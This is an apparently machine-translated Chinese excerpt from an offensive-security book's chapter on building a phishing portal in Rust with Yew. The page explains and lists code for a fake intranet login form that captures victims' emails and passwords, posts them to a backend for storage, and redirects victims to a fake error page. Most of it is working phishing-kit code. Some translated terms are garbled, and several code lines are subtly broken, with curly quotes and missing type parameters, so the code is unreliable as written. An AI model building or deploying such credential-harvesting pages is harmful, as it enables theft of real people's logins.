无论是使用 React、VueJS、Angular 还是 Rust,现代 Web 应用程序都由 3 种部分组成:
- 成分
- 页面
- 服务
组件是可重用的部分和 UI 元素。例如,输入字段或按钮。
页面是组件的集合。它们匹配路由(URL)。例如,Login
页面匹配/login
路由。该Home
页面与/
路线匹配。
最后,服务是包装低级功能或外部服务(如 HTTP 客户端、存储…
我们应用程序的目标很简单:这是一个门户,受害者将在其中输入他们的凭据(认为这是一个合法的表单),凭据将保存在 SQLite 数据库中,然后我们将受害者重定向到错误页面让他们认为该服务暂时不可用,他们应该稍后再试。
这篇文章摘自我的书Black Hat Rust
安装工具链
wasm-pack
帮助您构建 Rust 生成的 WebAssembly 包并在浏览器或 Node.js 中使用它。
$ cargo install -f wasm-pack
楷模
请注意,在后端使用与前端相同的语言的一大好处是能够重用模型:
ch_09/phishing/common/src/api.rs
pub mod model {
use serde::{Deserialize, Serialize};
#[derive(Debug, Clone, Serialize, Deserialize)]
#[serde(rename_all = "snake_case")]
pub struct Login {
pub email: String,
pub password: String,
}
#[derive(Debug, Clone, Serialize, Deserialize)]
#[serde(rename_all = "snake_case")]
pub struct LoginResponse {
pub ok: bool,
}
}
pub mod routes {
pub const LOGIN: &str = "/api/login";
}
现在,如果我们进行更改,则无需在其他地方手动进行相同的更改。Adios 去同步模型问题。
成分
一开始,有组件。组件是可重用的功能或设计。
为了构建我们的组件,我们使用yew
, crate ,在我写这篇文章的时候,它是最先进和受支持的 Rust 前端框架。
Properties
(或Props
)可以看作是一个组件的参数。例如,函数fn factorial(x: u64) -> u64
有一个参数x
。对于组件,它是同样的事情。如果我们想用特定数据渲染它们,我们使用Properties
.
ch_09/phishing/webapp/src/components/error_alert.rs
use yew::{html, Component, ComponentLink, Html, Properties, ShouldRender};
pub struct ErrorAlert {
props: Props,
}
#[derive(Properties, Clone)]
pub struct Props {
#[prop_or_default]
pub error: Option<crate::Error>,
}
impl Component for ErrorAlert {
type Message = ();
type Properties = Props;
fn create(props: Self::Properties, _: ComponentLink<Self>) -> Self {
ErrorAlert { props }
}
fn update(&mut self, _: Self::Message) -> ShouldRender {
true
}
fn change(&mut self, props: Self::Properties) -> ShouldRender {
self.props = props;
true
}
fn view(&self) -> Html {
if let Some(error) = &self.props.error {
html! {
<div class="alert alert-danger" role="alert">
{error}
</div>
}
} else {
html! {}
}
}
}
非常类似于(老式)React,不是吗?
另一个组件是`LoginForm`包装逻辑以捕获和保存凭据的组件。
**[ch\_09/phishing/webapp/src/components/login\_form.rs](https://github.com/skerkour/black-hat-rust/blob/main/ch_09/phishing/webapp/src/components/login_form.rs)**
pub struct LoginForm {
link: ComponentLink,
error: Option,
email: String,
password: String,
http_client: HttpClient,
api_response_callback: Callback<Result<model::LoginResponse, Error>>,
api_task: Option,
}
pub enum Msg {
Submit,
ApiResponse(Result<model::LoginResponse, Error>),
UpdateEmail(String),
UpdatePassword(String),
}
impl Component for LoginForm {
type Message = Msg;
type Properties = ();
fn create(_: Self::Properties, link: ComponentLink<Self>) -> Self {
Self {
error: None,
email: String::new(),
password: String::new(),
http_client: HttpClient::new(),
api_response_callback: link.callback(Msg::ApiResponse),
link,
api_task: None,
}
}
fn update(&mut self, msg: Self::Message) -> ShouldRender {
match msg {
Msg::Submit => {
self.error = None;
// let credentials = format!("email: {}, password: {}", &self.email, &self.password);
// console::log_1(&credentials.into());
let credentials = model::Login {
email: self.email.clone(),
password: self.password.clone(),
};
self.api_task = Some(self.http_client.post::<model::Login, model::LoginResponse>(
api::routes::LOGIN.to_string(),
credentials,
self.api_response_callback.clone(),
));
}
Msg::ApiResponse(Ok(_)) => {
console::log_1(&"success".into());
self.api_task = None;
let window: Window = web_sys::window().expect("window not available");
let location = window.location();
let _ = location.set_href("https://academy.kerkour.com/black-hat-rust");
}
Msg::ApiResponse(Err(err)) => {
self.error = Some(err);
self.api_task = None;
}
Msg::UpdateEmail(email) => {
self.email = email;
}
Msg::UpdatePassword(password) => {
self.password = password;
}
}
true
}
最后是`view`函数(类似于`render`其他框架)。
fn view(&self) -> Html {
let onsubmit = self.link.callback(|ev: FocusEvent| {
ev.prevent_default(); /* Prevent event propagation */
Msg::Submit
});
let oninput_email = self
.link
.callback(|ev: InputData| Msg::UpdateEmail(ev.value));
let oninput_password = self
.link
.callback(|ev: InputData| Msg::UpdatePassword(ev.value));
`ErrorAlert`您可以像任何其他 HTML 元素一样嵌入其他组件(此处):
html! {
<div>
<components::ErrorAlert error=&self.error />
<form onsubmit=onsubmit>
<div class="mb-3">
<input
class="form-control form-control-lg"
type="email"
placeholder="Email"
value=self.email.clone()
oninput=oninput_email
id="email-input"
/>
</div>
<div class="mb-3">
<input
class="form-control form-control-lg"
type="password"
placeholder="Password"
value=self.password.clone()
oninput=oninput_password
/>
</div>
<button
class="btn btn-lg btn-primary pull-xs-right"
type="submit"
disabled=false>
{ "Sign in" }
</button>
</form>
</div>
}
}
}
### 页面
页面是组件的集合,并且是 yew 中的组件本身。
**[ch\_09/phishing/webapp/src/pages/login.rs](https://github.com/skerkour/black-hat-rust/blob/main/ch_09/phishing/webapp/src/pages/login.rs)**
pub struct Login {}
impl Component for Login {
type Message = ();
type Properties = ();
// ...
fn view(&self) -> Html {
html! {
<div>
<div class="container text-center mt-5">
<div class="row justify-content-md-center mb-5">
<div class="col col-md-8">
<h1>{ "My Awesome intranet" }</h1>
</div>
</div>
<div class="row justify-content-md-center">
<div class="col col-md-8">
<LoginForm />
</div>
</div>
</div>
</div>
}
}
}
### 路由
然后我们声明应用程序的所有可能路由。
正如我们之前看到的,路由将 URL 映射到页面。
**[ch\_09/phishing/webapp/src/lib.rs](https://github.com/skerkour/black-hat-rust/blob/main/ch_09/phishing/webapp/src/lib.rs)**
#[derive(Switch, Debug, Clone)]
pub enum Route {
#[to = “*”]
Fallback,
#[to = “/error”]
Error,
#[to = “/”]
Login,
}
### 服务
#### 发出 HTTP 请求
发出 HTTP 请求有点困难,因为我们需要回调并反序列化响应。
**[ch\_09/phishing/webapp/src/services/http\_client.rs](https://github.com/skerkour/black-hat-rust/blob/main/ch_09/phishing/webapp/src/services/http_client.rs)**
#[derive(Default, Debug)]
pub struct HttpClient {}
impl HttpClient {
pub fn new() -> Self {
Self {}
}
pub fn post<B, T>(
&mut self,
url: String,
body: B,
callback: Callback<Result<T, Error>>,
) -> FetchTask
where
for<'de> T: Deserialize<'de> + 'static + std::fmt::Debug,
B: Serialize,
{
let handler = move |response: Response<Text>| {
if let (meta, Ok(data)) = response.into_parts() {
if meta.status.is_success() {
let data: Result<T, _> = serde_json::from_str(&data);
if let Ok(data) = data {
callback.emit(Ok(data))
} else {
callback.emit(Err(Error::DeserializeError))
}
} else {
match meta.status.as_u16() {
401 => callback.emit(Err(Error::Unauthorized)),
403 => callback.emit(Err(Error::Forbidden)),
404 => callback.emit(Err(Error::NotFound)),
500 => callback.emit(Err(Error::InternalServerError)),
_ => callback.emit(Err(Error::RequestError)),
}
}
} else {
callback.emit(Err(Error::RequestError))
}
};
let body: Text = Json(&body).into();
let builder = Request::builder()
.method("POST")
.uri(url.as_str())
.header("Content-Type", "application/json");
let request = builder.body(body).unwrap();
FetchService::fetch(request, handler.into()).unwrap()
}
}
话虽如此,它的优点是非常健壮,因为所有可能的错误都得到了处理。不再有您永远不会知道的未捕获的运行时错误。
### 应用程序
然后是`App`组件,它包装了所有内容并呈现了路线。
**[ch\_09/phishing/webapp/src/lib.rs](https://github.com/skerkour/black-hat-rust/blob/main/ch_09/phishing/webapp/src/lib.rs)**
pub struct App {}
impl Component for App {
type Message = ();
type Properties = ();
// ...
fn view(&self) -> Html {
let render = Router::render(|switch: Route| match switch {
Route::Login | Route::Fallback => html! {<pages::Login/>},
Route::Error => html! {<pages::Error/>},
});
html! {
<Router<Route, ()> render=render/>
}
}
}
最后,挂载和启动 webapp 的入口点:
#[wasm_bindgen(start)]
pub fn run_app() {
yew::App::::new().mount_to_body();
}
您可以通过运行以下命令来运行新构建的 Web 应用程序:
$ make webapp_debug
$ make serve